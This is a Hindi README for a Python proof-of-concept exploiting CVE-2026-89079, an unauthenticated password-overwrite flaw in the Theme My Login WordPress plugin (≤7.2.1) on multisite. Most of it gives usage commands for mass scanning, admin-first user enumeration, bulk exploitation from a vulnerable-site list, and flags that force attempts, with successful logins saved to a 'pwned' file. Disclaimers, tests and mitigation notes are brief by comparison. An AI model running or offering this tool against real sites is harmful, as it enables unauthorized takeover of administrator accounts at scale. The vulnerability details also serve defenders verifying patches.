
CVE-2026-89079 के लिए Python PoC: WordPress मल्टीसाइट पर Theme My Login <=7.2.1 की पहचान करता है, फिर lost-password के माध्यम से अनधिकृत पासवर्ड ओवरराइट का शोषण करता है और लॉगिन सत्यापित करता है।
CVE-2026-89079 के लिए सुरक्षा अनुसंधान टूलिंग: WordPress मल्टीसाइट पर अनधिकृत खाता अधिग्रहण (account takeover) जब Theme My Login ≤ 7.2.1 में नेटवर्क विकल्प tml_user_passwords सक्षम हो।
केवल अधिकृत परीक्षण। उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की लिखित अनुमति आपके पास नहीं है।
| प्लगइन | Theme My Login |
| प्रभावित | ≤ 7.2.1 |
| ठीक किया गया | 7.2.2+ (06b7623) |
| CWE | CWE-269 अनुचित विशेषाधिकार प्रबंधन |
| CVSS 3.1 | 9.8 (गंभीर) |
तीनों सत्य होने चाहिए:
is_multisite() — ms-hooks.php केवल वास्तविक WordPress मल्टीसाइट पर लोड होता है (सिंगल-साइट पर TML /register/ नहीं)।get_site_option( 'tml_user_passwords' ) — नेटवर्क "उपयोगकर्ता-चयनित पंजीकरण पासवर्ड"।tml_ms_filter_pre_insert_user_data() retrieve_password() → wp_update_user() पर $_POST['user_pass1'] लागू करता है।लॉस्ट-पासवर्ड POST के बाद checkemail=confirm प्रतिक्रिया यह सिद्ध नहीं करती कि पासवर्ड बदल दिया गया था; यह सामान्य WordPress व्यवहार है जब कमजोर फ़िल्टर निष्क्रिय हो।
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
आउटपुट (डिफ़ॉल्ट):
| फ़ाइल | सामग्री |
|---|---|
cve_2026_89079_results.jsonl | सभी लक्ष्य + finding_status, मल्टीसाइट / user_pass1 संकेत |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (टैब: URL, संस्करण, वैकल्पिक best_login) |
cve_2026_89079_eligible.txt | सख्त ह्यूरिस्टिक: नेटवर्क साइनअप + साइनअप user_pass1 (गारंटी नहीं) |
finding_status मानों में शामिल हैं: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR।
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
उपयोगी फ़्लैग:
| फ़्लैग | उद्देश्य |
|---|---|
--no-require-multisite | मल्टीसाइट ह्यूरिस्टिक विफल होने पर भी प्रयास करें (कई सिंगल-साइट TML साइटें) |
--require-user-passwords | जब साइनअप पेजों में user_pass1 न हो तो छोड़ दें |
--only-eligible | केवल उन पंक्तियों का शोषण करें जिनमें पूर्व --check-jsonl से exploit_eligible है |
--verify-only | कोई पासवर्ड POST / कोई लॉगिन नहीं — केवल फ़ॉर्म और एंडपॉइंट निदान |
--skip-version-check | जब readme अवरुद्ध हो तो प्रयास बाध्य करें |
-q | अधिक शांत बल्क लॉगिंग |
आउटपुट: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (सफल लॉगिन)।
python -m unittest discover -s tests -v
tml_lost_password_handler() → कोर retrieve_password()।wp_pre_insert_user_data फ़िल्टर लॉस्ट पासवर्ड ($update) के दौरान अपडेट्स को अनदेखा करता है।wp-signup.php → /register/ रीडायरेक्ट्स को अनदेखा करता है (सामान्य सिंगल-साइट TML गलत पॉज़िटिव)।html.parser के साथ पार्स किए जाते हैं; कॉन्फ़िगर होने पर TML AJAX लॉस्ट-पासवर्ड का समर्थन करता है।tml_user_passwords या प्लगइन को अक्षम करें।user_pass1 वाले लॉस्ट-पासवर्ड URL पर अनऑथेंटिकेटेड POSTs को ब्लॉक करें या अलर्ट करें।यह प्रोजेक्ट रक्षात्मक सुरक्षा अनुसंधान, पैच सत्यापन, और अधिकृत पेनेट्रेशन टेस्टिंग के लिए है। दुरुपयोग निषिद्ध है। लेखक अनधिकृत उपयोग के लिए कोई दायित्व नहीं लेते हैं।